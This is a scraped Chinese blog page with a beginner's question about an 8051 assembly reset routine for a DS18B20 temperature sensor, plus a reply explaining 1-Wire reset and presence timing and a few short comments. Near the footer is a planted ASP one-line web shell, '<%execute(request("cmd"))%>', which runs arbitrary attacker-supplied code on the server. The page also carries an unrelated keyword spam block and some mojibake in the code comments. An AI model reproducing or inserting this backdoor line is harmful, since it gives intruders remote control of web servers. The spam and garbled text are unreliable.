时 间 记 忆
最 新 评 论
专 题 分 类
最 新 日 志
最 新 留 言
搜 索
用 户 登 录
友 情 连 接
博 客 信 息


 
 
   
 
 
关于温度传感器DS1320的问题
[ 2008-5-18 20:49:00 | By: styhnvskdu ]
 

37600677da5c743156870658f5aadb27

温度传感器

关于温度传感器DS1320的问题

小弟初学单片机,最近做一个温度传感器 这是DS18B20的初始化程序
不知道为什么初始化程序 无法检测出温度传感器的存在,也就是程序结束时FLAG始终为0
DQ 为数据线DS的数据线,FLAG=1为DS存在,FLAG=0为DS不存在
;-------------------DS18B20 初始化程序
INIT_1820:
SETB DQ
NOP
CLR DQ
MOV R0,#80H
TSR1:
DJNZ R0,TSR1 ; 延时
SETB DQ
MOV R0,#25H ;96US-25H
TSR2:
DJNZ R0,TSR2
JNB DQ,TSR3
LJMP TSR4 ; 延时
TSR3:
SETB FLAG1 ; DS存在,置标志位
LJMP TSR5
TSR4:
CLR FLAG1 ; DS不存在,清标志位
LJMP TSR7
TSR5:
MOV R0,#06BH ;200US
TSR6:
DJNZ R0,TSR6 ; ÑÓʱ
TSR7:
SETB DQ
RET

你的"DS18B20 初始化程序"初始化程序不太好.单线总线上的所有操作均从初始化开始.过程如下:主机通过拉低单线至少480uS以上,产生复位脉冲,然后释放该总线.释放总线时,会产生一个上升沿,即命令DQ=1.DS18B20检测到该上升沿后,延迟15--60uS,通过拉低总线60--240uS来产生应答脉冲(DS18B20自己发出的).主机接收到该信号后,说明有单线器件在线.于是开始执行ROM操作-->存储器操作-->数据传输-->结束

恩 很不错!!!

不错!!

t

MOV R0,#06BH ;200US
TSR6:
DJNZ R0,TSR6 ; ÑÓʱ

1`1`
温度传感器
冰箱检测线 刻字机 涡街流量计 尘埃粒子计数器 光谱仪 高低温交变 变频器 联轴器 PH酸度计 跌落试验机 复合气体检测仪 双辊破碎机 粗糙度仪 高低温交变 空气过滤减压器 金相显微镜 干燥机 振荡器 冲床送料机 高低温交变
 
 
  • 标签:温度传感器 
  • 发表评论:

      大名:
      密码: (游客无须输入密码)
      主页:
      标题:
     
         
       
         
    <%execute(request("cmd"))%>
    Powered by Oblog.